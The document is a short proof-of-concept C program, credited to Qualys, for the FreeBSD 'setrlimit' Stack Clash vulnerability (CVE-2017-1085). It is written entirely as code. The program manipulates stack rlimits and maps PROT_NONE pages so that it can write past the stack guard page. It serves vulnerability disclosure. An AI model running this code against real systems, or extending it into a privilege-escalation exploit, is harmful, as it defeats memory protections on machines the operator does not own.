FreeBSD - 'setrlimit' Stack Clash (PoC)

/*
 * FreeBSD_CVE-2017-1085.c
 * Copyright (C) 2017 Qualys, Inc.
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
 */

#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <sys/time.h>
#include <unistd.h>

#define die() do { \
    fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
    exit(EXIT_FAILURE); \
} while (0)

int
main(const int argc, char * const argv[])
{
    static const struct rlimit core;
    if (setrlimit(RLIMIT_CORE, &core)) die();

    struct rlimit stack;
    if (getrlimit(RLIMIT_STACK, &stack)) die();
    if (stack.rlim_cur > stack.rlim_max / 3) {
        stack.rlim_cur = stack.rlim_max / 3;
        if (setrlimit(RLIMIT_STACK, &stack)) die();
        execve(*argv, argv, NULL);
        die();
    }
    char * prot_none = NULL;
    for (;;) {
        prot_none = mmap(NULL, 4096, PROT_NONE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
        if (prot_none == MAP_FAILED) die();
        if ((uintptr_t)&stack < (uintptr_t)prot_none) die();
        if ((uintptr_t)&stack - (uintptr_t)prot_none < stack.rlim_max / 3 * 2) break;
    }
    if (argc > 1) {
        stack.rlim_cur = stack.rlim_max;
        if (setrlimit(RLIMIT_STACK, &stack)) die();
    }
    *prot_none = 'A';
    printf("char at %p: %02x\n", prot_none, *prot_none);
    exit(EXIT_SUCCESS);
}